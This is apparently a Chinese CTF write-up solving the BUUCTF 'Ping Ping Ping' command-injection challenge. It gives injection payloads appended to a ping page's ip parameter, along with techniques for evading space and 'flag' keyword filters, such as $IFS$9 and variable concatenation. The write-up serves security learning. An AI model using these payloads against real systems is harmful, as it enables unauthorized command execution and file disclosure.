[GXYCTF2019]Ping Ping Ping 1-BUUCTF
2023-11-15
| 2024-4-21
0  |  阅读时长 0 分钟
type
status
date
slug
summary
tags
category
icon
password
@ZZHow(ZZHow1024)

Command Injection(命令注入)类

含义:在文本框内写一些”恶意“命令!

思路:把命令混进文本框内,并且让它能执行。

实操:

1、启动靶机,观察题目界面

[GXYCTF2019]Ping Ping Ping 1题目界面
[GXYCTF2019]Ping Ping Ping 1题目界面
  • 只有一个提示:“/?ip=”
  • 发现是一个PING功能,且应该是GET方法,需要在URL中传入ip参数。
  • 怀疑很可能是命令注入
 

2、寻找解题思路

  • 先正常PING一次本机(127.0.0.1)。
  • 构建URL:
    • 在原始URL后添上/?ip=127.0.0.1
    • http://27ca1c08-f29c-45b9-a4e0-0adc83a8f519.node4.buuoj.cn:81/?ip=127.0.0.1
  • 访问!
/?ip=127.0.0.1的结果
/?ip=127.0.0.1的结果
  • 尝试使用命令连接符连接Linux命令。
  • 构建URL:
    • 在原始URL后添上/?ip=127.0.0.1;ls
    • http://27ca1c08-f29c-45b9-a4e0-0adc83a8f519.node4.buuoj.cn:81/?ip=127.0.0.1;ls
  • 访问!
/?ip=127.0.0.1;ls的结果
/?ip=127.0.0.1;ls的结果
  • 发现在直接PING本机的结果下方多出了flag.phpindex.php
    • 那么说明的确存在命令注入漏洞。
    • 且该操作系统的确为Linux。
    • 且已经找到了Flag!
    •  

3、尝试打开Flag文件

  • 最常用的查看文件内容命令:cat命令
  • 构建URL:
    • 在原始URL后添上/?ip=127.0.0.1;cat flag.php
    • http://27ca1c08-f29c-45b9-a4e0-0adc83a8f519.node4.buuoj.cn:81/?ip=127.0.0.1;cat flag.php
  • 访问!
/?ip=127.0.0.1;cat flag.php的结果
/?ip=127.0.0.1;cat flag.php的结果
  • 说明存在空格检测
 

4、绕过空格

  • 常见的方法 逐个测试一下。
    • $IFS
      • 注意注意:$IFS在linux下表示分隔符,但是如果单纯的cat$IFSflag,bash解释器会把整个IFSflag当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
    • ${IFS}
      • 提示/?ip= 1fxck your symbol!
    • $IFS$9
      • 注意注意:在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
      • 提示/?ip= fxck your flag!
    • <
      • 提示/?ip= 1fxck your symbol!
    • <>
      • 提示/?ip= 1fxck your symbol!
    • {cat,flag.php}
      • 提示/?ip= 1fxck your symbol!
    • %20
      • 提示/?ip= fxck your space!
    • %09
      • 提示/?ip= 1fxck your symbol!
  • 看来只有$IFS$9成功绕过了空格检测。
  • 但柿,还有“flag”关键词检测 😅
 

5、绕过关键词

  • 常见的方法 逐个测试一下。
    • 单引号和双引号绕过。
      • /?ip=127.0.0.1;cat$IFS$9''f''l''a''g''.php
      • 提示/?ip= 1fxck your symbol!
    • 反斜杠绕过。
      • /?ip=127.0.0.1;cat$IFS$9\f\l\a\g\.php
      • 提示/?ip= fxck your flag!
    • 利用环境变量拼接方法绕过。
      • 注意注意:这里之所以选择替换flag里的“g”还是因为如果替换前边的字母,例如fl$dg,bash解释器会把整个dg当做变量名,所以导致输不出来结果。
        • 如果必须替换前边的字母也得用$9来截断:
        • /?ip=127.0.0.1;d=a;cat$IFS$9fl$d$9g.php
      • /?ip=127.0.0.1;d=g;cat$IFS$9fla$d.php
      • 正常返回PING的结果!
  • 利用环境变量拼接方法绕过可正常绕过“flag”关键词。
  • 但柿,还是没有看到Flag 😅
 

6、寻找Flag

  • 点击“F12”键打开“开发者工具”找找。
开发者工具
开发者工具
  • 找到<body>中的<pre>最底部
 

7、解题成功!

  • 被注释掉的绿色内容即为Flag
  • 获得Flag!
 
 

推荐阅读:

  • CTF
  • BUUCTF
  • [强网杯 2019]随便注 1[ACTF2020 新生赛]Exec 1-BUUCTF
    Loading...
    目录